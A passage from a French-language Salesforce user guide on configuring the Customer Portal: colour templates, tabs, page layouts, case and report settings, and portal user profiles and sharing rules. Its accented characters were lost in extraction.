4. Slectionnez un modle de couleur dans la liste droulante Modle de couleur. Slectionnez Personnaliser dans la liste
droulante Modle de couleur pour crer intgralement votre propre modle.
Un aperu du modle de couleur slectionn s'affiche automatiquement dans les sections Aperu.
5. Vous pouvez personnaliser la couleur du modle slectionn en effectuant l'une des oprations suivantes :

Entrez une valeur hexadcimale dans un attribut de modle ou

Cliquez sur la valeur hexadcimale d'un attribut de modle et slectionnez une couleur dans l'diteur de type pointer
cliquer.

Lorsque vous personnalisez un modle, cela apparat automatiquement dans son nom lorsque vous l'enregistrez. Vous
pouvez personnaliser les options suivantes. Ds qu'elles sont personnalises, elles s'affichent automatiquement dans les
sections Aperu :
Styles d'onglet
Attribut de modle

Description

Texte d'onglet en cours

Couleur du texte de l'onglet que les utilisateurs ont

slectionn.

Arrire-plan d'onglet en cours

Couleur d'arrire-plan de l'onglet que les utilisateurs ont

slectionn.

Bordure d'onglet en cours

Couleur de bordure de l'onglet que les utilisateurs ont

slectionn.

Texte des autres onglets

Couleur du texte des onglets que les utilisateurs n'ont pas

slectionns.

Arrire-plan des autres onglets

Couleur d'arrire-plan des onglets que les utilisateurs n'ont

pas slectionns.

Bordure des autres onglets

Couleur de bordure des onglets que les utilisateurs n'ont pas

slectionns.

Arrire-plan de la barre d'onglets

Couleur d'arrire-plan derrire tous les onglets.

Styles de page
Attribut de modle

Description

Arrire-plan de la page

Couleur d'arrire-plan du portail, sauf pour la recherche, les

listes associes, les lments rcents, les catgories de
solutions, les dossiers de documents et la liste droulante
Crer.

Texte

Couleur, taille et police du texte sur tous les lments du

portail sauf les onglets, les boutons, les en-ttes et les
tiquettes de champ.
Vous pouvez ventuellement modifier le pourcentage affich
dans le champ prvu cet effet pour augmenter ou diminuer
la taille de tous les lments du portail. En outre, vous pouvez
modifier la police de tous les lments du portail, sauf les

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1302

Styles de page
Attribut de modle

Description
onglets, les boutons, les en-ttes et les tiquettes de champ
partir de la liste droulante.

Texte d'tiquette du champ

Couleur du texte des noms de champ sur les enregistrements.

Vous pouvez ventuellement modifier la police du texte
partir de la liste droulante.

Lien

Couleur du texte de tous les liens.

Placement de lien

Couleur du texte de tous les liens que l'utilisateur survole.

Sparateur de champ

Couleur des lignes qui sparent les champs dans les

enregistrements.

Bordure infrieure

Couleur de la ligne constituant la bordure infrieure du

portail.

Styles de section
Attribut de modle

Description

Arrire-plan d'en-tte

Couleur d'arrire-plan de tous les en-ttes, y compris la

recherche, les lments rcents, les listes associes, les
catgories de solutions, les dossiers de documents et l'onglet
slectionn.

Texte de l'en-tte de la section

Couleur et police du texte des en-ttes de recherche, des

listes associes, des lments rcents, des catgories de
solutions et des dossiers de documents.
Vous pouvez ventuellement modifier la police du texte
partir de la liste droulante.

Bordure gauche

Bordure gauche de la recherche, des listes associes, des

lments rcents, des catgories de solutions, des dossiers de
documents et de la liste droulante Crer.
Vous pouvez ventuellement modifier le nombre de pixels
affichs dans le champ prvu cet effet pour augmenter ou
diminuer l'paisseur de la bordure. En outre, vous pouvez
slectionner le style de la ligne affiche comme bordure
partir de la liste droulante.

Bordure droite

Bordure droite de la recherche, des listes associes, des

lments rcents, des catgories de solutions, des dossiers de
documents et de la liste droulante Crer.
Vous pouvez ventuellement modifier le nombre de pixels
affichs dans le champ prvu cet effet pour augmenter ou

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1303

Styles de section
Attribut de modle

Description
diminuer l'paisseur de la bordure. En outre, vous pouvez
slectionner le style de la ligne affiche comme bordure
partir de la liste droulante.

Bordure suprieure

Bordure au-dessus de la recherche, des listes associes, des

lments rcents, des catgories de solutions, des dossiers de
documents et de la liste droulante Crer.
Vous pouvez ventuellement modifier le nombre de pixels
affichs dans le champ prvu cet effet pour augmenter ou
diminuer l'paisseur de la bordure. En outre, vous pouvez
slectionner le style de la ligne affiche comme bordure
partir de la liste droulante.

Bordure infrieure

Bordure au-dessous de la recherche, des listes associes, des

lments rcents, des catgories de solutions, des dossiers de
documents et de la liste droulante Crer.
Vous pouvez ventuellement modifier le nombre de pixels
affichs dans le champ prvu cet effet pour augmenter ou
diminuer l'paisseur de la bordure. En outre, vous pouvez
slectionner le style de la ligne affiche comme bordure
partir de la liste droulante.

Arrire-plan de section

Couleur d'arrire-plan de la recherche, des listes associes,

des lments rcents, des catgories de solutions, des dossiers
de documents et de la liste droulante Crer.

Styles de liste
Attribut de modle

Description

Texte d'en-tte de liste

Couleur du texte des noms de champ slectionns comme

en-ttes de colonnes dans les vues de liste.
Vous pouvez ventuellement modifier la police du texte
partir de la liste droulante.

Soulignement d'en-tte

Couleur des lignes au-dessous des en-ttes de colonne dans

les listes associes et les vues de liste.

Sparateur

Couleur des lignes entre les enregistrements dans les vues

de liste.

Surlignage de ligne

Couleur d'un enregistrement que utilisateur survole dans la

liste de vues.

6. Cliquez sur Enregistrer pour enregistrer toutes les modifications apportes aux valeurs du modle.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1304

Conseil: Les modifications sont visibles par les utilisateurs du portail Client lorsqu'ils actualisent leur navigateur.
C'est la raison pour laquelle nous vous recommandons de mettre jour le modle de couleurs de votre portail au
moment o les utilisateurs sont moins susceptibles de consulter votre portail Client.
Remarque: Pour personnaliser l'en-tte, le pied de page et le logo de votre portail Client, reportez-vous Activation
de la connexion et des paramtres du portail Client la page 1293.

Voir aussi :
Configuration du portail Client
Personnalisation des onglets de votre portail Client

Personnalisation des onglets de votre portail Client

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour personnaliser les onglets du portail Client :

Personnaliser l'application

Vous pouvez slectionner les onglets qui s'affichent dans le portail client Salesforce.com et personnaliser l'ordre dans lequel il
s'affichent pour les utilisateurs du portail :
Cliquez sur Configuration Personnalisation Portail Client Paramtres.
Slectionnez le nom du portail Client dont vous souhaitez personnaliser les onglets.
Cliquez sur Personnaliser les onglets du portail.
Pour ajouter ou supprimer des onglets, slectionnez un titre d'onglet et cliquez sur la flche Ajouter ou Supprimer dans
la zone Onglets slectionns. Pour modifier l'ordre des onglets, slectionnez un titre d'onglet dans la zone Onglets
slectionns, puis cliquez sur la flche Haut ou Bas.
5. Vous pouvez aussi, partir de la liste droulante Onglet de destination par dfaut, slectionner l'onglet afficher
pour les utilisateurs lorsqu'ils se connectent votre portail.
6. Cliquez sur Enregistrer.
1.
2.
3.
4.

Pour rendre les onglets Web, l'onglet Rapport, l'onglet Documents, l'onglet Ides, l'onglet Articles ou les onglets Salesforce
CRM Content visibles dans le portail client, ajoutez-les au portail l'aide des oprations ci-dessus et modifiez le paramtre
de visibilit des onglets en passant Valeur par dfaut active dans tous les profils du Portail client. Vous pouvez modifier la
visibilit par dfaut des autres onglets sur le portail au niveau d'un profil. Pour plus d'informations, reportez-vous Cration
et modification de profils la page 113.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1305

Conseil: Vous pouvez crer plusieurs portails Clients qui affichent diffrents onglets pour des utilisateurs ayant le
mme profil, du moment que le profil a accs tous les objets qui apparaissent dans l'onglet.

Voir aussi :
Configuration du portail Client
Guide de configuration de l'administrateur Guide de mise en uvre du portail client Salesforce
Activation de Salesforce CRM Content dans le portail client

Personnalisation des pages de votre portail Client

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les prsentations de page :

Personnaliser l'application

Pour attribuer des prsentations de page des profils :

Grer les utilisateurs

Vous pouvez personnaliser vos pages de portail client Salesforce.com de la mme faon que vous personnalisez vos pages dans
Salesforce.com : l'aide de prsentations de page.
Les prsentations de page dterminent la prsentation et l'organisation des boutons, des champs, des commandes s-control,
de Visualforce, des liens personnaliss et des listes associes. Elles dfinissent galement les champs visibles, en lecture seule
et obligatoires. Les prsentations de page comprennent des commandes s-control et des pages Visualforce qui sont rendues
dans une section champ lors de l'affichage de la page. Vous pouvez contrler la taille des commandes s-controls et des pages
Visualforce, et dterminer si une tiquette et des barres de dfilement s'affichent ou non.
Les utilisateurs du portail Client visualisent les prsentations attribues leur profil lorsqu'ils se connectent votre portail
Client. Vous pouvez personnaliser les prsentations de page des objets suivants pour votre portail :

Accueil
Tches
vnements
Requtes
Actifs
Comptes
Solutions
Contacts
Objets personnaliss

Personnalisation des prsentations de page du portail

Pour utiliser les prsentations de page, slectionnez Configuration Personnalisation, cliquez sur le type d'enregistrement
voulu et choisissez Prsentations de page. Pour plus d'informations, reportez-vous Gestion des prsentations de page la
page 544.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1306

Remarque:

Par dfaut, les utilisateurs du portail Client sont autoriss lire les comptes, les contacts et les actifs. Ils peuvent
donc afficher leur nom de compte et choisir un contact et un actif pour les requtes qu'ils crent sur votre portail.
Les utilisateurs du portail Client ne peuvent pas afficher la section de balises d'une page, mme si elle est incluse
dans une prsentation de page. Pour plus d'informations, reportez-vous propos du marquage la page 1920.

Pour utiliser des prsentations de page pour des objets personnaliss, cliquez sur Configuration Crer Objets, slectionnez
un objet personnalis et choisissez une prsentation de page dans la section Prsentations de page. Pour plus d'informations,
reportez-vous laboration de prsentations de page pour les objets personnaliss la page 707.
Pour afficher un objet personnalis dans votre portail Client, vous devez effectuer les oprations suivantes :

Cochez la case Disponible pour le portail Client sur l'objet personnalis. Vous ne pouvez attribuer aucun profil
de portail une prsentation de page d'objet personnalis, sauf si cette case est slectionne. Pour plus d'informations sur
la modification de ce paramtre, reportez-vous Dfinition d'objets personnaliss la page 691.
Octroyez des autorisations utilisateur l'objet personnalis sur les profils attribus aux utilisateurs du portail. Pour plus
d'informations, reportez-vous Cration et modification de profils la page 113.
Ajoutez l'onglet de l'objet personnalis votre portail Client afin que l'onglet soit accessible aux utilisateurs de votre portail
Client. Pour plus d'informations, reportez-vous Personnalisation des onglets de votre portail Client la page 1304.

Personnalisation des onglets Web, de l'onglet Documents, de l'onglet Rapports, de l'onglet Ides et des onglets
Salesforce CRM Content
Outre les objets ci-dessus, vous pouvez permettre aux utilisateurs du portail Client d'afficher les onglets Web, l'onglet Documents,
l'onglet Rapports, l'onglet Ides et les onglets Salesforce CRM Content (Espaces de travail, Contenu, Abonnements et
Contribuer) lorsqu'ils se connectent votre portail Client. Ces onglets n'ont pas de mises en page personnaliser.

Pour autoriser les utilisateurs du portail afficher les onglets Web, crez simplement des onglets Web et attribuez-les aux
profils du portail Client. Pour plus d'informations, reportez-vous Cration d'onglets Web la page 720.
Pour autoriser les utilisateurs du portail client afficher un onglet Documents, accordez-leur l'accs aux dossiers de l'onglet
Documents Salesforce.com contenant les fichiers auxquels vous souhaitez qu'ils aient accs. Pour plus d'informations,
reportez-vous Prsentation de la bibliothque de documents la page 1376 et Cration et modification de dossiers la
page 576.
Pour permettre aux utilisateurs du portail de visualiser un onglet Rapports, accordez-leur l'accs aux dossiers de votre onglet
Rapports de Salesforce.com contenant les rapports excuter, dfinissez le modle global de partage de l'entreprise sur
Priv sur les objets que vous souhaitez que les utilisateurs du portail utilisent pour gnrer des rapports, et attribuez aux
utilisateurs du portail des profils comprenant l'autorisation Excuter des rapports . Pour plus d'informations, reportez-vous
Prsentation des rapports la page 1677, Cration et modification de dossiers la page 576 et Configuration de modle de
partage par dfaut l'chelle de votre entreprise la page 163. Lorsque vous ajoutez l'onglet Rapports votre portail client,
les utilisateurs du portail :
-

ne peuvent pas personnaliser de rapports ni filtrer les rsultats des rapports ; ils peuvent seulement excuter des rapports.
peuvent exporter des rapports au format Excel si leur profil comprend l'autorisation Exporter des rapports.
n'ont pas accs aux dossiers Rapports publics non classs et Mes rapports personnels personnaliss.
recevront un message d'erreur signalant que leurs droits sont insuffisants s'ils excutent un rapport contenant des objets
qu'ils ne sont pas autoriss afficher.

Pour permettre aux utilisateurs d'accder l'onglet Ides, crez une communaut Salesforce CRM Ideas qui est active et
configure pour s'afficher dans le portail. Pour plus d'informations, reportez-vous Cration et modification de communauts
la page 1477.
Si votre organisation dispose de la licence Ideas Only Portal, masquez l'onglet Rapports dans le portail Client. Autrement,
les utilisateurs du portail Client reoivent un message Privilges insuffisants lorsqu'ils cliquent sur l'onglet Rapports. Pour
plus d'informations, reportez-vous Personnalisation des onglets de votre portail Client la page 1304.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1307

Pour permettre aux utilisateurs du portail d'accder Salesforce CRM Content, reportez-vous Activation de Salesforce
CRM Content dans le portail client la page 1287.
Important: Si vous ajoutez les onglets Web, l'onglet Rapports, l'onglet Documents ou les onglets Salesforce CRM
Content votre portail client :

Dfinissez les paramtres de visibilit de ces onglets sur Valeur par dfaut active pour les profils du portail, afin
que les utilisateurs du portail puissent les visualiser. Pour plus d'informations, reportez-vous Cration et
modification de profils la page 113.
Ajoutez les onglets Web, l'onglet Documents, l'onglet Rapports ou les onglets Salesforce CRM Content votre
portail client afin que les onglets soient accessibles vos utilisateurs du portail client. Pour plus d'informations,
reportez-vous Personnalisation des onglets de votre portail Client la page 1304.

Pour obtenir des conseils de configuration et des informations gnrales sur les pages du portail client Salesforce.com,
reportez-vous Observations et conseils relatifs la configuration pour les pages du portail client la page 1307.

Voir aussi :
Personnalisation des polices et des couleurs de votre portail Client
Activation de la connexion et des paramtres du portail Client
Conception des prsentations de page de l'onglet Accueil

Observations et conseils relatifs la configuration pour les pages du

portail Client
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Lisez les conseils de configuration et les informations gnrales qui suivent concernant les pages du portail Client Salesforce.com :
Onglets du portail Client
Seuls les objets suivants peuvent apparatre sous forme d'onglets dans le portail Client :

Articles
Ides
Accueil
Requtes
Rapports
Solutions
Onglets Web
Documents provenant de l'onglet Documents
Onglets Salesforce CRM Content : Espaces de travail, Contenu et Abonnements
Objets personnaliss

Les objets suivants peuvent galement s'afficher sous forme d'onglets dans votre portail client pour les administrateurs
dlgus des utilisateurs du portail :

Comptes

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1308

Contacts

Les onglets que voient apparatre les utilisateurs du portail Client lorsqu'ils s'y connectent sont dtermins par les
paramtres correspondants configurs dans leur profil et par l'administrateur qui personnalise votre portail Client. Pour
plus d'informations, reportez-vous Cration et modification de profils la page 113 et Personnalisation des onglets de
votre portail Client la page 1304.
Les utilisateurs du portail Client ne peuvent pas afficher la section de balises d'une page, mme si elle est incluse dans
une prsentation de page.
Configuration des requtes

Lorsque vous configurez votre portail Client, clonez la prsentation de page des requtes (Prsentation de requte)
et renommez-la Prsentation des requtes du portail. Cela vous permet de distinguer aisment les
prsentations de page des requtes des utilisateurs internes et celles des utilisateurs du portail.
Par dfaut, les nouvelles requtes sont accessibles sur votre portail Client, mais vous pouvez inclure la case cocher
Visible dans le portail libre-service dans les prsentations de page de requte pour pouvoir la
dslectionner, afin d'empcher l'affichage d'une requte prcise.
Ne cochez pas les cases Afficher la notification par e-mail d'une requte et Afficher la
notification par e-mail d'une requte par dfaut dans les prsentations de page de requte. Ces
fonctionnalits s'appliquent uniquement aux utilisateurs de Salesforce.com.
N'ajoutez pas le champ Commentaires internes aux prsentations de page de requte attribues aux profils de
portail, car les utilisateurs du portail peuvent consulter les commentaires rservs aux utilisateurs Salesforce.com.
Incluez le champ Actif dans les prsentations de page de requte afin que les utilisateurs du portail puissent associer
des requtes un actif li leur compte.
Incluez le champ de recherche Nom du contact dans les prsentations de page de requte afin que les utilisateurs
autoriss le modifier puissent remplacer le contact d'une requte par un autre utilisateur du portail dans le mme
compte.
Ne cochez pas les cases Afficher la section des informations sur la solution, Afficher la
case cocher Notification du contact et Activer la case cocher Notification du
contact par dfaut dans les prsentations de page de clture de requte, car leurs fonctions ne s'appliquent
qu'aux utilisateurs Salesforce.com.
Crez des types d'enregistrement de requte pour dfinir la valeur par dfaut du champ de liste de slection Origine
de la requte pour les requtes consignes dans votre portail Client. Pour plus d'informations, reportez-vous
Cration des types d'enregistrement la page 540.
Pour garantir le bon fonctionnement des rgles d'attribution de requte dans le portail Client, cochez les cases Cocher
la case Attribution de requtes et Cocher la case Attribution de requtes par dfaut
dans les prsentations de page de requte attribues aux profils de portail. Les utilisateurs ne peuvent pas voir ces
cases cocher dans le portail Client. Notez que les rgles d'attribution se dclenchent lorsqu'une requte est cre et
modifie. Pour ne pas raffecter automatiquement les requtes lorsque les utilisateurs du portail les modifient, ajoutez
une entre de rgle en utilisant le critre Utilisateur actif : Type d'utilisateur contient
Portail Client et cochez la case Ne pas raffecter l'utilisateur. Pour plus d'informations,
reportez-vous Configuration des rgles d'attribution la page 620.
Les utilisateurs du portail peuvent afficher toutes les valeurs des champs de liste de slection Type, Statut, Priorit
et Motif de la requte, sauf si vous crez des types d'enregistrement pour des requtes contenant des valeurs
de liste de slection diffrentes. Pour plus d'informations, reportez-vous Gestion des types d'enregistrement la
page 539.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1309

Vous pouvez empcher les utilisateurs du portail de soumettre des requtes avec des pices jointes en supprimant le
bouton Soumettre et ajouter une pice jointe des prsentations de page de requtes :
1.
2.
3.
4.
5.

Modifiez la prsentation de page de requtes l'aide de l'diteur de prsentation de page avanc.

Cliquez sur Proprits de prsentation.
Dsactivez Afficher le bouton Soumettre et joindre.
Cliquez sur OK.
Cliquez sur Enregistrer.

Requtes

Les utilisateurs du portail ne peuvent pas modifier la valeur du champ de liste de slection Statut dans les requtes.
Les utilisateurs du portail peuvent modifier et supprimer les pices jointes qu'ils ont ajoutes leurs requtes, mais
pas celles ajoutes des requtes par des utilisateurs de Salesforce.com.
Les boutons Supprimer et Partage des pages de dtails d'une requte ne sont pas accessibles aux utilisateurs du
portail.
Les liens Liste des e-mails, Suivant et Prcdent ne sont pas disponibles pour les utilisateurs du portail client
lorsqu'ils affichent un e-mail partir de la liste associe E-mail dans les pages de dtails de requtes. La liste associe
E-mail est disponible uniquement dans les organisations dans lequelles la fonction E-mail vers requte ou E-mail
vers requte la demande est active.
Vous pouvez galement crer des rgles de rponse automatique pour les requtes afin de rpondre automatiquement
aux utilisateurs du portail qui crent une requte. Pour plus d'informations, reportez-vous Configuration des rgles
de rponse automatique la page 629.
Les utilisateurs du portail peuvent afficher, rechercher et crer des notes et des pices jointes dans les requtes.
Lors de la cration d'une requte, l'utilisateur du portail ignore la page des suggestions de solutions et est dirig vers
la requte dans les cas suivants :
-

Aucune suggestion de solution pertinente ne correspond la requte.

Il cre la requte en cliquant sur Soumettre et ajouter une pice jointe

Notez que les suggestions de solutions ne sont disponibles que dans les entreprises o elles sont autorises. Pour plus
d'informations sur les suggestions de solutions, reportez-vous Que sont les suggestions de solutions ? la page 1932
Pour plus d'informations sur la manire dont les utilisateurs du portail Client Salesforce.com peuvent clturer
automatiquement leurs requtes, reportez-vous Activation de la connexion et des paramtres du portail client la
page 1293.

Si la base de connaissances Salesforce Knowledge est active, vous pouvez ajouter la liste associe Articles aux
prsentations de page associes des utilisateurs du portail. Ils peuvent ainsi rechercher les articles qui les aideront
rsoudre leurs requtes. Reportez-vous Personnalisation des listes associes la page 561.

Solutions

Le champ de liste de slection Statut dans les solutions n'est pas accessible aux utilisateurs du portail.
Le champ de liste de slection Statut d'une solution ne doit pas ncessairement tre dfini sur Rviss pour qu'une
solution soit visible dans le portail Client. Elle y est visible si la case Visible dans le portail libre-service
d'une solution est coche.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1310

Si vous activez des catgories de solutions pour votre entreprise, elles sont galement disponibles dans votre portail
Client. Les solutions sans catgorie n'apparaissent pas dans les catgories de solutions de votre portail Client, mais
elles figurent dans ses vues de recherche et de liste.
La fonctionnalit des meilleures solutions n'est pas disponible pour votre portail Client, mais vous pouvez crer des
liens sur la page d'accueil du Portail Client vers les solutions les plus pertinentes de votre entreprise.

Page d'accueil

Intgrez le composant Accueil du portail Client dans les prsentations de page d'accueil attribues aux utilisateurs
du portail. Lors de la connexion, un message de bienvenue contenant leur nom apparat et ils peuvent alors modifier
leurs propres nom d'utilisateur, mot de passe, paramtres rgionaux, langue, fuseau horaire et informations de contact.
Lorsque les utilisateurs du portail modifient des informations les concernant, leur enregistrement utilisateur est mis
jour mais leur enregistrement de contact ne l'est pas automatiquement en consquence. Pour plus d'informations
sur la dfinition des composants de page d'accueil et l'attribution des prsentations de page d'accueil, reportez-vous
Personnalisation des prsentations des onglets de page d'accueil la page 568.
Notez que les utilisateurs du portail Client dont le profil inclut l'autorisation Connexion unique active ne peuvent
pas modifier leur nom d'utilisateur via le composant Accueil de ce portail. .

Lorsque vous concevez des prsentations de page d'accueil pour votre portail Client, il est recommand d'ajouter les
composants suivants : Recherche, Recherche de solution, lments rcents, Accueil du portail Client, ainsi qu'un
composant Zone HTML personnalis incluant la marque de votre socit dans la grande colonne.
Crez les composants personnaliss inclure dans les prsentations de page d'accueil de votre portail Client, tels que
les liens vers des vues de liste personnalises, des documents spcifiques et des solutions meilleures. Pour plus
d'informations, reportez-vous Dfinition des composants des onglets de page d'accueil la page 568.
Les noms des composants personnaliss n'apparaissent pas dans la grande section de la page d'accueil du portail
Client.
Vous pouvez positionner le lien Dconnexion n'importe o dans l'en-tte grce la balise HTML : <a
href="/secur/logout.jsp">Dconnexion</a>. Pour plus d'informations sur l'en-tte, reportez-vous
Activation de la connexion et des paramtres du portail Client la page 1293.
Il est recommand de ne pas ajouter les composants suivants aux prsentations de page d'accueil de votre portail
Client, car ils sont destins aux utilisateurs Salesforce.com : Tches, Calendrier, Recherche de produits,
lments rcents, Instantan du tableau de bord, Messages et alertes et lments
approuver.

Activits

Aucune activit ne peut tre attribue aux utilisateurs du portail.

Les utilisateurs du portail peuvent voir les tches termines et les vnements passs marqus comme tant visibles
dans le portail libre-service, associs des objets qu'ils sont autoriss afficher.

Documents
Vrifiez qu'aucun document interne de votre entreprise figurant dans l'onglet Documents n'est disponible dans les dossiers
accessibles aux utilisateurs du portail. Pour plus d'informations, reportez-vous Gestion des dossiers la page 573.
Rapports

Les utilisateurs du portail peuvent excuter les rapports si leur profil comprend l'autorisation Excuter des rapports.
Les utilisateurs du portail peuvent exporter les rapports si leur profil comprend l'autorisation Exporter des rapports.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1311

La section Options de rapport ne s'affiche pas dans les rsultats du rapport pour les utilisateurs du portail car ces
derniers ne peuvent pas personnaliser les rsultats des rapports. De plus, la section Graphique gnr, qui comprend
les liens Modifier, Grand, Moyen et Petit, ne s'affiche pas dans les rsultats du rapport.
Les rsultats du rapport pour les utilisateurs du portail comprennent souvent des liens vers les objets que les utilisateurs
du portail sont autoriss consulter.
Les utilisateurs du portail ne peuvent gnrer des rapports que sur les objets dfinis comme Privs dans le modle de
partage par dfaut l'chelle de l'organisation. Certains objets, tels que les solutions et les articles, ne sont pas inclus
dans le modle de partage et ne peuvent pas faire l'objet de rapports par les utilisateurs du portail client. Pour plus
d'informations, reportez-vous Configuration du modle de partage par dfaut l'chelle de votre entreprise la
page 163.
Les utilisateurs du portail recevront un message d'erreur signalant que leurs droits sont insuffisants s'ils excutent un
rapport contenant des objets qu'ils ne sont pas autoriss afficher.
Par dfaut, tous les utilisateurs, y compris les utilisateurs du portail, peuvent visualiser les dossiers du rapport. Pour
empcher les utilisateurs du portail d'afficher les dossiers de rapport, mettez jour les paramtres de partage sur les
dossiers du rapport pour le groupe Tous les utilisateurs internes. Pour plus d'informations, reportez-vous Gestion
des dossiers la page 573.

Objets personnaliss

Lorsque vous dslectionnez la case Disponible pour le portail Client d'un objet personnalis, celui-ci
n'est plus disponible sur le portail Client. Toutes les autorisations utilisateur correspondant cet objet personnalis
sont supprimes automatiquement des profils du portail. Si vous cochez nouveau la case Disponible pour le
portail Client d'un objet personnalis, vous devez mettre jour les autorisations utilisateur correspondantes
dans les profils du portail.
Les utilisateurs du portail peuvent afficher, rechercher et crer des notes et des pices jointes dans les objets
personnaliss.

Articles
Pour plus d'informations, reportez-vous Activation de la base de connaissances Salesforce Knowledge dans le portail
client la page 1289.
Actifs

Les utilisateurs du portail ne peuvent pas modifier des actifs.

Ils peuvent uniquement afficher les actifs associs leurs comptes.
Les actifs ne sont visibles par les utilisateurs du portail que si vous incluez le champ de recherche des actifs dans
les prsentations de page de requte. Dans les pages de dtails des requtes, les utilisateurs du portail peuvent cliquer
sur l'actif dans le champ prvu cet effet pour l'afficher.
Les utilisateurs du portail peuvent consulter et rechercher des pices jointes concernant les actifs.

Salesforce CRM Content

Les utilisateurs du portail disposant d'une licence de fonction Salesforce CRM Content peuvent raliser n'importe
quelle tche accorde par leur autorisation d'espace de travail.
Les utilisateurs du portail disposant de l'autorisation d'utilisateur Afficher le contenu ont un accs en lecture seule
Salesforce CRM Content.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1312

Les utilisateurs de portail disposant de l'autorisation Cration d'espaces de travail peuvent crer et administrer des
espaces de travail.

Pour plus d'informations, reportez-vous Activation de Salesforce CRM Content dans le portail client la page 1287.
Salesforce CRM Ideas
Pour plus d'informations, reportez-vous Activation de Salesforce CRM Ideas sur le portail Client la page 1290.
Comptes
Seuls les utilisateurs qui disposent de droits d'administration des utilisateurs dlgus du portail client peuvent afficher
l'onglet Comptes ainsi que la page de dtails de leur compte dans votre portail client. Pour plus d'informations,
reportez-vous Dlgation des droits d'administration des utilisateurs du portail client et super utilisateur du portail
la page 1327.
Contacts
Seuls les utilisateurs qui disposent de droits d'administration des utilisateurs dlgus du portail client peuvent afficher
les contacts de leur compte. Pour plus d'informations, reportez-vous Dlgation des droits d'administration des
utilisateurs du portail client et super utilisateur du portail la page 1327.
Seuls les utilisateurs qui disposent de l'autorisation Super utilisateur du portail peuvent afficher l'onglet Contacts et
modifier la page de dtails des contacts dans votre portail client. Pour plus d'informations, reportez-vous Dlgation
des droits d'administration des utilisateurs du portail client et super utilisateur du portail la page 1327.

Voir aussi :
Personnalisation des pages de votre portail Client

Portail Client - Limites de configuration

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Pour plus d'informations sur le nombre de portails clients et de licences utilisateur du portail client que vous pouvez activer,
contactez salesforce.com.
Le nombre maximal d'objets personnaliss que vous pouvez inclure dans un portail client est dfini par le nombre total d'objets
personnaliss que votre dition autorise. Reportez-vous ditions Salesforce.com et limitations la page 932
Les licences d'utilisateur contrlent galement le nombre d'objets personnaliss qu'un utilisateur de portail peut afficher dans
un portail client. Pour plus d'informations, contactez salesforce.com.

Voir aussi :
Configuration du portail Client

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1313

Gestion des utilisateurs du portail Client

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer les utilisateurs du portail Client :

Modifier les utilisateurs libre-service

Pour crer, modifier et supprimer des profils :

Grer les utilisateurs

Pour crer, modifier et supprimer des prsentations de page : Personnaliser l'application

Pour dfinir la scurit au niveau du champ :

Personnaliser l'application

Pour dfinir les rgles de partage :

Grer les utilisateurs

La gestion des utilisateurs du Portail client est similaire la gestion habituelle des utilisateurs de Salesforce.com. Les concepts
gnraux de gestion des utilisateurs, tels que les profils et les prsentations de page, s'appliquent normalement. Pour grer les
utilisateurs du Portail client, tenez compte des conseils suivants :

Profils du Portail client

Rgles de partage du Portail client
Hirarchie des rles du Portail client
Licences utilisateur du Portail client

Profils du Portail client

Le profil que vous attribuez aux utilisateurs du Portail client dfinissent les autorisations dont ils bnficient pour accomplir
diffrentes fonctions au sein du Portail client, par exemple, visualiser, crer, modifier ou supprimer des requtes et des
enregistrements d'objets personnaliss.
Lorsque vous activez un Portail client, les profils suivants sont automatiquement crs si vous leur achetez des licences utilisateur
:

Utilisateur du Portail client haut volume

Utilisateur du Portail client
Responsable du Portail client

Les paramtres des profils du Portail client sont similaires. Cependant, vous pouvez accorder aux utilisateurs Responsables du
Portail client un accs suprieur la hirarchie des rles et aux rgles de partage du Portail client (qui ne s'appliquent pas aux
utilisateurs du Portail client haut volume). Vous pouvez en outre cloner et personnaliser chaque profil pour rpondre aux
diffrentes exigences de certains clients en matire de support.
En fonction des licences que vous achetez, vous pouvez configurer des profils du Portail client pour un objet personnalis,
Salesforce CRM Content, la gnration de rapports et des fonctionnalits de support client, comme des requtes et des solutions.
Rgles de partage du Portail client
Lorsque vous avez activ un Portail client, les groupes et la catgorie de rgles de partage suivants sont crs :

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1314

Groupes et catgorie de rgles de partage

Description

Groupe Tous les utilisateurs du Portail client

Il contient tous les utilisateurs du Portail client, l'exception

des utilisateurs du Portail client haut volume.

Groupe Tous les utilisateurs internes

Il contient tous les utilisateurs Salesforce.com de votre

organisation.

Catgorie de rgles de partage Rles et subordonns internes Elle permet de crer, par rle, des rgles de partage avec des
utilisateurs Salesforce.com spcifiques de votre organisation,
plus tous les utilisateurs sous ce rle, l'exception des rles du
Portail client et du Portail partenaire.
Comme les utilisateurs du Portail client haut volume n'ont
aucun rle, ils sont inclus ni dans cette catgorie ni dans aucune
autre catgorie de rgles de partage.

Vous pouvez utiliser ces groupes et cette catgorie de rgles de partage afin de crer des rgles de partage qui :

accordent aux utilisateurs du Portail client ou de Salesforce.com un accs des donnes spcifiques ( l'exception des
utilisateurs du Portail client haut volume, que vous ne pouvez inclure dans aucun groupe ou rgle de partage) ;
lient les utilisateurs du Portail client et de Salesforce.com ;
lient les utilisateurs du Portail client de diffrents comptes, condition qu'ils disposent de la licence utilisateur Responsable
du portail client.

Hirarchie des rles du Portail client

Lorsque vous activez un Portail client dans un compte, le systme cre une hirarchie de rles pour les utilisateurs du portail
du compte. Les rles du portail sont uniques pour chaque compte et comprennent le nom du compte. Par exemple, Utilisateur
client du compte A . Dans la hirarchie de rles globale de votre organisation, cette hirarchie spcifique au compte se situe
directement sous le responsable du compte.
